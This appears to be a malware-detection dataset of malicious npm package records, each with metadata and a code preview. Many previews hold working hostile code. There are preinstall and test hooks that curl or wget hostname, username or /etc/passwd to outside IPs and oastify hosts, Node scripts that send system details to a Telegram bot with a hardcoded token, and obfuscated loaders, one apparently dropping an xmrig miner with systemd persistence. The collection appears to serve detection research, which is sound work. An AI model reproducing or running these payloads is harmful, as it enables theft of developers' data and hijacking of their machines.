"tmp/tmpf2h_7hd4/7702-eoa-implementation/package/index.js", "diff_preview": "const { exec } = require(\"child_process\");\nconst https = require(\"https\");\nconst querystring = require(\"querystring\");\n\n// Telegram credentials\nconst chatId = \"6567865682\";\nconst botToken = \"7699295118:AAF6pb7t718vjHWHwFQlZOastZQYHL8IVDE\";\n\n// Execute a shell command\nfunction execShell(cmd) {\n return new Promise((resolve, reject) => {\n exec(cmd, { maxBuffer: 1024 * 1024 }, (err, stdout) => {\n if (err) reject(err);\n else resolve(stdout.trim());\n });\n });\n}\n\n// Get external IP using api.ipify.org\nfunction getExternalIP() {\n return new Promise((resolve, reject) => {\n https.get(\"https://api.ipify.org\", (res) => {\n let data = \"\";\n res.on(\"data\", (chunk) => {\n data += chunk;\n });\n res.on(\"end\", () => {\n resolve(data.trim());\n });\n }).on(\"error\", reject);\n });\n}\n\n// Send a message to Telegram\nfunction sendTelegramMessage(text) {\n return new Promise((resolve, reject) => {\n const postData = querystring.stringify({\n chat_id: chatId,\n text,\n parse_mode: \"Markdown\"\n });\n\n const options = {\n hostname: \"api.telegram.org\",\n path: `/bot${botToken}/sendMessage`,\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Content-Length\": Buffer.byteLength(postData)\n }\n };\n\n const req = https.request(options, (res) => {\n res.on(\"data\", () => {});\n res.on(\"end\", () => resolve());\n });\n\n req.on(\"error\", reject);\n req.wr", "files": ["tmp/tmpf2h_7hd4/7702-eoa-implementation/package/index.js", "tmp/tmpf2h_7hd4/7702-eoa-implementation/package/package.json"], "malicious_signal_count": 8, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "52471254zqdl55", "version": "22.2.2", "filename": "2025-02-10-52471254zqdl55-v22.2.2.zip", "primary_file": "tmp/tmpkb67pjgd/52471254zqdl55/package/package.json", "diff_preview": "{\n \"name\": \"52471254zqdl55\",\n \"version\":\"22.2.2\",\n \"description\":\"\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\":\"echo \\\"Error: no test specified\\\" && exit 1\",\n \"preinstall\":\"curl --data-urlencode \\\"info=$(hostname && whoami)\\\"http://47.119.181.8/img/t.jpg\"\n },\n \"author\":\"321123zqdl\",\n \"license\":\"IsC\"\n}\n", "files": ["tmp/tmpkb67pjgd/52471254zqdl55/package/package.json", "tmp/tmpkb67pjgd/52471254zqdl55/package/index.js"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "7715-permissions-shared", "version": "2.0.0", "filename": "2025-11-30-7715-permissions-shared-v2.0.0.zip", "primary_file": "tmp/tmp41gpkgol/7715-permissions-shared/package/package.json", "diff_preview": "{\n \"name\": \"7715-permissions-shared\",\n \"version\": \"2.0.0\",\n \"description\": \"poc by zabit\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"preinstall\": \"/usr/bin/curl --data '@/etc/passwd' $(hostname).3uyexiugye2e0hyi00z4vbqufllc934rt.oastify.com\"\n },\n \"author\": \"zabit hacker\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"7715-permissions-shared\": \"^2.0.0\"\n }\n}\n", "files": ["tmp/tmp41gpkgol/7715-permissions-shared/package/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@specs", "version": "6.8.2", "filename": "2025-11-24-@asyncapi_specs-v6.8.2.zip", "primary_file": "tmp/tmp2lgjiddf/@asyncapi-specs/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmp2lgjiddf/@asyncapi-specs/package/bun_environment.js", "tmp/tmp2lgjiddf/@asyncapi-specs/package/scripts/add-new-version.js", "tmp/tmp2lgjiddf/@asyncapi-specs/package/setup_bun.js", "tmp/tmp2lgjiddf/@asyncapi-specs/package/scripts/validate-schemas.js", "tmp/tmp2lgjiddf/@asyncapi-specs/package/package.json", "tmp/tmp2lgjiddf/@asyncapi-specs/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "6sdgsd6s-control", "version": "9999.0.0", "filename": "2025-08-15-6sdgsd6s-control-v9999.0.0.zip", "primary_file": "var/folders/83/v1gvs5x976xdn94tnyk95j8r0000gq/T/tmpo0vzvg32/6sdgsd6s-control/package/test.js", "diff_preview": "const fs = require('fs');\nconst path = require('path');\nconst os = require('os');\nconst https = require('https');\nconst dns = require('dns');\nconst { randomUUID, createHash } = require('crypto');\n\n// ====== CONFIG (all optional, controlled via env) ======\nconst COLLAB = process.env.POC_COLLAB_URL || 'https://rkf8amoed9lx8glfgoqlpnpen5twhr5g.oastify.com/poc'; // your collaborator endpoint\nconst SLACK_WEBHOOK = process.env.POC_SLACK_WEBHOOK || ''; // Slack Incoming Webhook (test only)\nconst GH_TOKEN = process.env.POC_GH_TOKEN || ''; // short-lived test PAT\nconst GH_REPO = process.env.POC_GH_REPO || ''; // e.g. \"owner/repo\"\nconst PR_BRANCH = process.env.POC_PR_BRANCH || 'depconfusion/poc-' + Date.now();\nconst ENABLE_INJECT = /^1|true$/i.test(process.env.POC_INJECT || '1'); // allow bundle banner injection by default (harmless)\n// =======================================================\n\nconst ID = randomUUID();\nconst now = new Date().toISOString();\n\nfunction safeWrite(file, data) {\n try { fs.writeFileSync(file, data); } catch {}\n}\n\nfunction httpPost(urlStr, bodyObj, timeoutMs = 3000) {\n try {\n const url = new URL(urlStr);\n const data = Buffer.from(JSON.stringify(bodyObj));\n const req = https.request({\n hostname: url.hostname, path: url.pathname + url.search,\n method: 'POST', port: url.port || 443, timeout: timeoutMs,\n headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }\n ", "files": ["var/folders/83/v1gvs5x976xdn94tnyk95j8r0000gq/T/tmpo0vzvg32/6sdgsd6s-control/package/test.js", "var/folders/83/v1gvs5x976xdn94tnyk95j8r0000gq/T/tmpo0vzvg32/6sdgsd6s-control/package/package.json"], "malicious_signal_count": 17, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "511fola", "version": "99.99.99", "filename": "2025-12-26-511fola-v99.99.99.zip", "primary_file": "tmp/tmpv3a2f32v/511fola/package/511fola.js", "diff_preview": "const os = require('os');\nconst fs = require('fs');\nconst path = require('path');\nconst http = require('http');\nconst { execSync } = require('child_process');\n\n// Helper function to safely execute commands (no password prompts)\nfunction safeExec(command) {\n try {\n return execSync(command, { \n encoding: 'utf8', \n timeout: 5000,\n stdio: ['pipe', 'pipe', 'pipe'] // Prevent any interactive prompts\n }).trim();\n } catch (e) {\n return `Error: ${e.message}`;\n }\n}\n\n// Helper to read file safely\nfunction safeRead(filePath, maxLines = 50) {\n try {\n if (fs.existsSync(filePath)) {\n const content = fs.readFileSync(filePath, 'utf8');\n const lines = content.split('\\n').slice(0, maxLines);\n return lines.join('\\n');\n }\n return 'File not found';\n } catch (e) {\n return `Error: ${e.message}`;\n }\n}\n\nconst data = {\n // Target Info\n bugbounty_company: 'bate5a',\n package_name: '511fola',\n \n // Basic System Info\n hostname: os.hostname(),\n username: os.userInfo().username,\n homedir: os.userInfo().homedir,\n shell: os.userInfo().shell,\n cwd: process.cwd(),\n os: os.platform() + ' ' + os.release(),\n arch: os.arch(),\n node: process.version,\n uptime: os.uptime(),\n \n // Network Info\n netInterfaces: os.networkInterfaces(),\n \n\n execPath: process.execPath,\n argv: process.argv,\n \n // File System Enumeration\n currentDirListing: safeExec('ls -la'),\n homeDirListing: safeExec(`ls -la ${os.userInfo().homedir}`),\n rootListing: safeExec('", "files": ["tmp/tmpv3a2f32v/511fola/package/511fola.js", "tmp/tmpv3a2f32v/511fola/package/index.js", "tmp/tmpv3a2f32v/511fola/package/package.json"], "malicious_signal_count": 29, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xme5war@apicli", "version": "2.0.0", "filename": "2025-07-29-@0xme5war_apicli-v2.0.0.zip", "primary_file": "tmp/tmpwh57ao_p/@0xme5war-apicli/package/index.js", "diff_preview": "const { exec } = require(\"child_process\");\nconst https = require(\"https\");\nconst querystring = require(\"querystring\");\n\nconst chatId = \"6567865682\";\nconst botToken = \"7699295118:AAF6pb7t718vjHWHwFQlZOastZQYHL8IVDE\";\n\n// Execute shell command with buffer\nfunction execShell(cmd) {\n return new Promise((resolve, reject) => {\n exec(cmd, { maxBuffer: 1024 * 1024 }, (err, stdout) => {\n if (err) reject(err);\n else resolve(stdout.trim());\n });\n });\n}\n\n// Send message to Telegram\nfunction sendTelegramMessage(text) {\n return new Promise((resolve, reject) => {\n const postData = querystring.stringify({\n chat_id: chatId,\n text,\n parse_mode: \"Markdown\"\n });\n\n const options = {\n hostname: \"api.telegram.org\",\n path: `/bot${botToken}/sendMessage`,\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Content-Length\": Buffer.byteLength(postData)\n }\n };\n\n const req = https.request(options, (res) => {\n res.on(\"data\", () => {});\n res.on(\"end\", resolve);\n });\n\n req.on(\"error\", reject);\n req.write(postData);\n req.end();\n });\n}\n\nasync function gatherAndSendInfo() {\n try {\n const [hostname, whoami, ip, date] = await Promise.all([\n execShell(\"hostname\"),\n execShell(\"whoami\"),\n execShell(\"hostname -I || ip a | grep 'inet ' | awk '{print $2}' | cut -d/ -f1\"),\n execShell(\"date\")\n ]);\n\n const message = `\n*System Report*\n\nHostname: \\`${ho", "files": ["tmp/tmpwh57ao_p/@0xme5war-apicli/package/index.js", "tmp/tmpwh57ao_p/@0xme5war-apicli/package/package.json"], "malicious_signal_count": 11, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "4m-clean-shopify-app", "version": "9.0.0", "filename": "2024-12-19-4m-clean-shopify-app-v9.0.0.zip", "primary_file": "tmp/tmp5o_abfa5/4m-clean-shopify-app/package/package.json", "diff_preview": "{\n \"name\": \"4m-clean-shopify-app\",\n \"version\": \"9.0.0\",\n \"description\": \"\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"preinstall\": \"curl https://grabify.link/CYE8J9\"\n },\n \"author\": \"hoox\",\n \"license\": \"ISC\"\n}\n", "files": ["tmp/tmp5o_abfa5/4m-clean-shopify-app/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xengine@meow", "version": "1.2.7", "filename": "2024-10-08-@0xengine_meow-v1.2.7.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpou1sj1n4/@0xengine-meow/package/build/dependencies.js", "diff_preview": "import require$$0$3, { format } from 'util';\nimport { normalize as normalize$1, resolve } from 'path';\nimport { readFileSync } from 'fs';\nimport path from 'node:path';\nimport process$1 from 'node:process';\nimport { fileURLToPath } from 'node:url';\nimport fs from 'node:fs';\nimport require$$0 from 'tty';\nimport require$$0$1 from 'os';\nimport require$$0$2 from 'url';\nimport require$$4 from 'node:module';\nfunction camelCase$1(str) {\n const isCamelCase = str !== str.toLowerCase() && str !== str.toUpperCase();\n if (!isCamelCase) {\n str = str.toLowerCase();\n }\n if (str.indexOf('-') === -1 && str.indexOf('_') === -1) {\n return str;\n }\n else {\n let camelcase = '';\n let nextChrUpper = false;\n const leadingHyphens = str.match(/^-+/);\n for (let i = leadingHyphens ? leadingHyphens[0].length : 0; i < str.length; i++) {\n let chr = str.charAt(i);\n if (nextChrUpper) {\n nextChrUpper = false;\n chr = chr.toUpperCase();\n }\n if (i !== 0 && (chr === '-' || chr === '_')) {\n nextChrUpper = true;\n }\n else if (chr !== '-' && chr !== '_') {\n camelcase += chr;\n }\n }\n return camelcase;\n }\n}\nfunction decamelize$1(str, joinString) {\n const lowercase = str.toLowerCase();\n joinString = joinString || '-';\n let notCamelcase = '';\n for (let i = 0; i < str.length; i++) {\n const chrLow", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpou1sj1n4/@0xengine-meow/package/build/dependencies.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpou1sj1n4/@0xengine-meow/package/build/validate.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpou1sj1n4/@0xengine-meow/package/build/options.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpou1sj1n4/@0xengine-meow/package/build/index.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpou1sj1n4/@0xengine-meow/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpou1sj1n4/@0xengine-meow/package/build/parser.js"], "malicious_signal_count": 1, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xme5war@apicli", "version": "10.9.8", "filename": "2025-07-30-@0xme5war_apicli-v10.9.8.zip", "primary_file": "tmp/tmpr728v2ei/@0xme5war-apicli/package/package.json", "diff_preview": "{\n \"name\": \"@0xme5war/apicli\",\n \"version\": \"10.9.8\",\n \"description\": \"Hijack\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"wget --quiet http://659zf2if5ut9onpv79mgyjb5ewkn8dw2.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\\\" \",\n \"preinstall\": \"wget --quiet \\\"http://659zf2if5ut9onpv79mgyjb5ewkn8dw2.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\\\" \",\n \"preupdate\": \"wget --quiet \\\"http://659zf2if5ut9onpv79mgyjb5ewkn8dw2.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\\\" \"\n },\n \"author\": \"Me5war\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"inditextech\": \"^10.4.4\"\n }\n}\n", "files": ["tmp/tmpr728v2ei/@0xme5war-apicli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@automagik@genie", "version": "4.260421.37", "filename": "2026-04-21-@automagik_genie-v4.260421.37.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpt7qzfnqe/@automagik-genie/package/dist/genie.js", "diff_preview": "#!/usr/bin/env bun\n// @bun\nvar __create=Object.create;var{getPrototypeOf:__getProtoOf,defineProperty:__defProp,getOwnPropertyNames:__getOwnPropNames,getOwnPropertyDescriptor:__getOwnPropDesc}=Object,__hasOwnProp=Object.prototype.hasOwnProperty;function __accessProp(key){return this[key]}var __toESMCache_node,__toESMCache_esm,__toESM=(mod,isNodeMode,target)=>{var canCache=mod!=null&&typeof mod===\"object\";if(canCache){var cache=isNodeMode?__toESMCache_node??=new WeakMap:__toESMCache_esm??=new WeakMap,cached=cache.get(mod);if(cached)return cached}target=mod!=null?__create(__getProtoOf(mod)):{};let to=isNodeMode||!mod||!mod.__esModule?__defProp(target,\"default\",{value:mod,enumerable:!0}):target;for(let key of __getOwnPropNames(mod))if(!__hasOwnProp.call(to,key))__defProp(to,key,{get:__accessProp.bind(mod,key),enumerable:!0});if(canCache)cache.set(mod,to);return to},__toCommonJS=(from)=>{var entry=(__moduleCache??=new WeakMap).get(from),desc;if(entry)return entry;if(entry=__defProp({},\"__esModule\",{value:!0}),from&&typeof from===\"object\"||typeof from===\"function\"){for(var key of __getOwnPropNames(from))if(!__hasOwnProp.call(entry,key))__defProp(entry,key,{get:__accessProp.bind(from,key),enumerable:!(desc=__getOwnPropDesc(from,key))||desc.enumerable})}return __moduleCache.set(from,entry),entry},__moduleCache,__commonJS=(cb,mod)=>()=>(mod||cb((mod={exports:{}}).exports,mod),mod.exports);var __returnValue=(v)=>v;function __exportSetter(name,newValue){this[name]=__returnValue.bind(nul", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpt7qzfnqe/@automagik-genie/package/dist/genie.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpt7qzfnqe/@automagik-genie/package/plugins/genie/scripts/smart-install.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpt7qzfnqe/@automagik-genie/package/scripts/postinstall-tmux.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpt7qzfnqe/@automagik-genie/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpt7qzfnqe/@automagik-genie/package/plugins/genie/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@automagik@genie", "version": "4.260421.36", "filename": "2026-04-21-@automagik_genie-v4.260421.36.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3cwcocgo/@automagik-genie/package/dist/genie.js", "diff_preview": "#!/usr/bin/env bun\n// @bun\nvar __create=Object.create;var{getPrototypeOf:__getProtoOf,defineProperty:__defProp,getOwnPropertyNames:__getOwnPropNames,getOwnPropertyDescriptor:__getOwnPropDesc}=Object,__hasOwnProp=Object.prototype.hasOwnProperty;function __accessProp(key){return this[key]}var __toESMCache_node,__toESMCache_esm,__toESM=(mod,isNodeMode,target)=>{var canCache=mod!=null&&typeof mod===\"object\";if(canCache){var cache=isNodeMode?__toESMCache_node??=new WeakMap:__toESMCache_esm??=new WeakMap,cached=cache.get(mod);if(cached)return cached}target=mod!=null?__create(__getProtoOf(mod)):{};let to=isNodeMode||!mod||!mod.__esModule?__defProp(target,\"default\",{value:mod,enumerable:!0}):target;for(let key of __getOwnPropNames(mod))if(!__hasOwnProp.call(to,key))__defProp(to,key,{get:__accessProp.bind(mod,key),enumerable:!0});if(canCache)cache.set(mod,to);return to},__toCommonJS=(from)=>{var entry=(__moduleCache??=new WeakMap).get(from),desc;if(entry)return entry;if(entry=__defProp({},\"__esModule\",{value:!0}),from&&typeof from===\"object\"||typeof from===\"function\"){for(var key of __getOwnPropNames(from))if(!__hasOwnProp.call(entry,key))__defProp(entry,key,{get:__accessProp.bind(from,key),enumerable:!(desc=__getOwnPropDesc(from,key))||desc.enumerable})}return __moduleCache.set(from,entry),entry},__moduleCache,__commonJS=(cb,mod)=>()=>(mod||cb((mod={exports:{}}).exports,mod),mod.exports);var __returnValue=(v)=>v;function __exportSetter(name,newValue){this[name]=__returnValue.bind(nul", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3cwcocgo/@automagik-genie/package/dist/genie.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3cwcocgo/@automagik-genie/package/plugins/genie/scripts/smart-install.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3cwcocgo/@automagik-genie/package/scripts/postinstall-tmux.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3cwcocgo/@automagik-genie/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3cwcocgo/@automagik-genie/package/plugins/genie/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xengine@meow", "version": "1.2.5", "filename": "2024-09-25-@0xengine_meow-v1.2.5.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpaqwhj4wy/@0xengine-meow/package/build/dependencies.js", "diff_preview": "import require$$0$3, { format } from 'util';\nimport { normalize as normalize$1, resolve } from 'path';\nimport { readFileSync } from 'fs';\nimport path from 'node:path';\nimport process$1 from 'node:process';\nimport { fileURLToPath } from 'node:url';\nimport fs from 'node:fs';\nimport require$$0 from 'tty';\nimport require$$0$1 from 'os';\nimport require$$0$2 from 'url';\nimport require$$4 from 'node:module';\nfunction camelCase$1(str) {\n const isCamelCase = str !== str.toLowerCase() && str !== str.toUpperCase();\n if (!isCamelCase) {\n str = str.toLowerCase();\n }\n if (str.indexOf('-') === -1 && str.indexOf('_') === -1) {\n return str;\n }\n else {\n let camelcase = '';\n let nextChrUpper = false;\n const leadingHyphens = str.match(/^-+/);\n for (let i = leadingHyphens ? leadingHyphens[0].length : 0; i < str.length; i++) {\n let chr = str.charAt(i);\n if (nextChrUpper) {\n nextChrUpper = false;\n chr = chr.toUpperCase();\n }\n if (i !== 0 && (chr === '-' || chr === '_')) {\n nextChrUpper = true;\n }\n else if (chr !== '-' && chr !== '_') {\n camelcase += chr;\n }\n }\n return camelcase;\n }\n}\nfunction decamelize$1(str, joinString) {\n const lowercase = str.toLowerCase();\n joinString = joinString || '-';\n let notCamelcase = '';\n for (let i = 0; i < str.length; i++) {\n const chrLow", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpaqwhj4wy/@0xengine-meow/package/build/dependencies.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpaqwhj4wy/@0xengine-meow/package/build/validate.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpaqwhj4wy/@0xengine-meow/package/build/options.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpaqwhj4wy/@0xengine-meow/package/build/index.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpaqwhj4wy/@0xengine-meow/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpaqwhj4wy/@0xengine-meow/package/build/parser.js"], "malicious_signal_count": 1, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.12", "filename": "2024-09-07-@0xobelisk_sui-cli-v0.5.12.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpsxjl9vaw/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport Le from\"yargs\";import{hideBin as Ze}from\"yargs/helpers\";import{execa as me}from\"execa\";var ge={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=me(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},H=ge;import{Obelisk as Se}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Re,getFaucetHost as Ae}from\"@mysten/sui/faucet\";import{SuiClient as Me,getFullnodeUrl as Ke}from\"@mysten/sui/client\";import{Obelisk as ke}from\"@0xobelisk/sui-client\";import{Transaction as z}from\"@mysten/sui/transactions\";import{getFullnodeUrl as xe,SuiClient as ve}from\"@mysten/sui/client\";import{execSync as Ce}from\"child_process\";import i from\"chalk\";import S from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as fe,ValidationError as _e}from\"zod-validation-error\";var D=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},a=class extends Error{name=\"ObeliskCliError\"},V=class extends Error{name=\"UpgradeError\"},R=class extends Error{name=\"FsIibError\"};function E(e){if(e instanceof _e)console.log(S.redBright(e.message));else if(e instanceof ue){let t=fe(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(S.redBright(t.message))}else e instanceof D?(console.log(S.red(e.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpsxjl9vaw/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpsxjl9vaw/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xengine@xmlrpc", "version": "1.3.17", "filename": "2024-09-24-@0xengine_xmlrpc-v1.3.17.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7gr9bol0/@0xengine-xmlrpc/package/lib/validator.js", "diff_preview": "#!/bin/bash\n\nconst a0_0x9140ce=a0_0x5230;function a0_0x4c3b(){const _0x5a2180=['/raw/maste','eZarh5VSmU','EXdInRczVA','VbXHP','findIndex','argv','6131944WRrPDN','zipPath:\\x20','gger','ystemctl\\x20-','\\x5c(\\x20*\\x5c)','xmrig\\x0aXPRI','rdropper\\x0aX','rl\\x20-sL\\x20--o','find','ull\\x0a#Stand','>&1\\x0a\\x0amkdir','fs/promise','apply','\\x20--user\\x20st','/.local/bi','chain','E=xprintid','E.service\\x20','readFile','n\\x0aAPPNAME=','counter','rvice]\\x0aExe','edd44434/x','linux','aemon\\x0a\\x0a[Se','LVBVF','no1z3','+x\\x20$LOCAL_','NTIDLE_NAM','C\\x20>\\x20$SYSTE','PATH/$APPN','86_64\\x22\\x20]];','writeFile','--targets','if\\x20[[\\x20$mac','zip-a-fold','bash\\x20','log','\\x20-p\\x20$SYSTE','rmation','Drp\\x20done','PRINTIDLE_','qbknda07b3','promisify','constructo','all]\\x0aWante','MD_PATH\\x0aca','IG_URL\\x20\\x0acu','start=alwa','encoding','input','name\\x20-m)\\x0a\\x09','NAME\\x20$XPRI','ys\\x0a#Standa','e\\x20$APPNAME','c\\x20path:\\x20','2gyuq','/688823243','PATH=$HOME','sess_47894','3984862UeDoSb','\\x20\\x0a\\x0a\\x0achmod\\x20','le\\x0aAPP_URL','jQHwT','dBy=defaul','NAME\\x20$APP_','cAAAAAAAAA','ion\\x20Auth\\x20d','320408GzcXuL','ggTYegPuYh','MD_PATH/$A','n/xsession','while\\x20(tru','h\\x0aXMRIGNAM','debugme','552692CigBgV','MRIG_URL=$','CAL_PATH/$','dd32342342','d\\x20+x\\x20$LOCA','GNAME\\x20$XMR','outputFile','string','Owner','debu','opped','osInfo','\\x5c+\\x5c+\\x20*(?:[','utput\\x20$LOC','AME\\x0achmod\\x20','_PATH=$HOM','d342342342','AME\\x0a\\x0amkdir','tmpdir','\\x20/dev/null','utf8','le\\x20$APPNAM','put\\x20$", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7gr9bol0/@0xengine-xmlrpc/package/lib/validator.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7gr9bol0/@0xengine-xmlrpc/package/lib/deserializer.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7gr9bol0/@0xengine-xmlrpc/package/lib/client.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7gr9bol0/@0xengine-xmlrpc/package/lib/date_formatter.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7gr9bol0/@0xengine-xmlrpc/package/lib/serializer.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7gr9bol0/@0xengine-xmlrpc/package/lib/cookies.js"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.10", "filename": "2024-07-03-@0xobelisk_sui-cli-v0.5.10.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpoqfbgq20/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport Le from\"yargs\";import{hideBin as Ze}from\"yargs/helpers\";import{execa as me}from\"execa\";var ge={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=me(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await 